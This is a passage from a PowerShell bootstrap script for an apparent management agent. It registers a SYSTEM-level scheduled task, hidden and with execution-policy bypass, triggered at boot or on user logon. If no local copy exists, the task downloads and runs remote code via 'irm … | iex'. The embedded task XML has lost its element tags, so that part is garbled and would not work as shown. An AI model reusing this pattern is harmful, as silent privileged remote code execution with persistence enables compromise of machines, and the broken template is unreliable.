if (Test-Path $workInstallerPath) { Remove-Item -Path $workInstallerPath -Force -ErrorAction SilentlyContinue }
}
} else {
Write-BootstrapLog ("Agent instance " + $agentName + " operational and verified.") "Green"
}
# --- 6. DYNAMIC SCHEDULED TASK ENGINE (RESILIENT CIM + SCHTASKS QUERY) ---
if (-not [string]::IsNullOrWhiteSpace($storedTaskName) -and $storedTaskName -ne $taskName) {
Write-BootstrapLog ("Detected task rename (Old: " + $storedTaskName + " -> New: " + $taskName + "). Purging stale task...") "Yellow"
& schtasks.exe /delete /tn "$storedTaskName" /f 2>&1 | Out-Null
}
$taskStatus = Get-ResilientScheduledTask -tn $taskName
$needsTaskUpdate = $false
if (-not $taskStatus.Exists) {
Write-BootstrapLog ("Scheduled task " + $taskName + " missing. Registering...") "Yellow"
$needsTaskUpdate = $true
} else {
if ($taskStatus.Arguments -and $taskStatus.Arguments -notlike "*$workDir*" -and $taskStatus.Arguments -ne "SCHTASKS_EXISTS") {
Write-BootstrapLog ("Task configuration drift detected. Re-aligning scheduled task " + $taskName + "...") "Yellow"
$needsTaskUpdate = $true
}
}
if ($env:USERNAME -ne "SYSTEM" -and $needsTaskUpdate) {
Write-BootstrapLog ("Updating Task Scheduler definition for " + $taskName + "...") "Cyan"
$xmlEscapedCmd = '-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13; if (-not (Test-Path '' + $localScriptPath + '')) { irm ' + $bootstrapUrl + ' | iex } else { & '' + $localScriptPath + '' }"'
# Adaptive Trigger Selection: BootTrigger for Windows Server, EventTrigger (4624) for Workstations
$triggerXml = if ($sysProfile.IsServer) {
@"
true
"@
} else {
@"
true
<QueryList><Query Id="0" Path="Security"><Select Path="Security">*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=$triggerEventID]]</Select></Query></QueryList>
"@
}
$taskXml = @"
Ensures Agent stays synchronized and up to date via adaptive monitoring.
$triggerXml
S-1-5-18
HighestAvailable
IgnoreNew
false
false
true
true
true
$retryInterval
$retryCount
true
false
true
false
false
$executionTimeout
7
powershell.exe
$xmlEscapedCmd
"@
try {
Write-BootstrapLog "[STAGE: TASK_WRITE_XML] Writing temporary task definition..." "DarkGray" $true
[System.IO.File]::WriteAllText($tempXmlPath, $taskXml, [System.Text.Encoding]::Unicode)
Write-BootstrapLog "[STAGE: TASK_SCHTASKS_CREATE] Executing schtasks create..." "DarkGray" $true
& schtasks.exe /create /tn "$taskName" /xml "$tempXmlPath" /f | Out-Null
Set-ItemProperty -Path $regKeyPath -Name "TaskName" -Value "$taskName" -Type String -Force | Out-Null
Write-BootstrapLog ("Task " + $taskName + " aligned and active.") "Green"
} catch {
Write-BootstrapLog ("Failed to align Task Scheduler state: " + $_.Exception.Message) "Red"
} finally {
if (Test-Path $tempXmlPath) { Remove-Item -Path $tempXmlPath -Force -ErrorAction SilentlyContinue }
}
}